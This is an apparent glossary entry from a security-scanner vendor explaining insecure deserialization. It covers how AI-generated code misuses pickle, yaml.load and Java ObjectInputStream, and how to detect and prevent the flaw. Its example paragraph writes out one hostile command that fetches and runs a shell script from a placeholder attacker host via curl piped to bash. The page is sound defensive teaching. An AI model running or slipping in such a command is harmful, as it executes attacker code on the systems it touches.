Insecure Deserialization
: A vulnerability that occurs when an application deserializes untrusted data without validation. Attackers craft malicious serialized objects that, when deserialized, execute arbitrary code, manipulate application logic, or bypass authentication. It is particularly dangerous in languages with rich object serialization like Java, Python (pickle), PHP, and .NET.
Why It Matters for AI-Coded Apps
AI-generated code sometimes uses pickle, yaml.load(), or Java ObjectInputStream to process user-submitted data for convenience. LLMs choose these serialization methods because they are the simplest solution for complex data structures, without considering that they enable arbitrary code execution.
Real-World Example
A Python API accepts pickled data for a caching feature: data = pickle.loads(request.body). An attacker sends a crafted pickle payload that executes os.system('curl attacker.com/shell.sh | bash') during deserialization, achieving RCE without any additional vulnerability.
How to Detect and Prevent It
Never deserialize untrusted data with pickle, yaml.load(), or Java ObjectInputStream. Use JSON or other data-only formats for untrusted input. If deserialization is required, use yaml.safe_load(), implement integrity checks (HMAC signatures), and run deserialization in sandboxed environments with minimal privileges.
Frequently Asked Questions
Which serialization formats are dangerous?
Python pickle, Java ObjectInputStream, PHP unserialize(), Ruby Marshal, .NET BinaryFormatter, and YAML (with full loader) all support arbitrary code execution during deserialization. Safe alternatives include JSON, MessagePack, Protocol Buffers, and YAML safe_load.
Can insecure deserialization bypass authentication?
Yes. If session data or authentication tokens are stored as serialized objects, an attacker can forge tokens by crafting serialized payloads that deserialize into valid authentication objects with elevated privileges.
How do I detect insecure deserialization?
Search your codebase for pickle.loads, yaml.load (without SafeLoader), ObjectInputStream.readObject, unserialize(), and Marshal.load with user-controlled input. SAST tools like Semgrep and Bandit flag these patterns automatically.
Scan your app for security issues automatically
Vibe Eval checks for 200+ vulnerabilities in AI-generated code.
Try Vibe Eval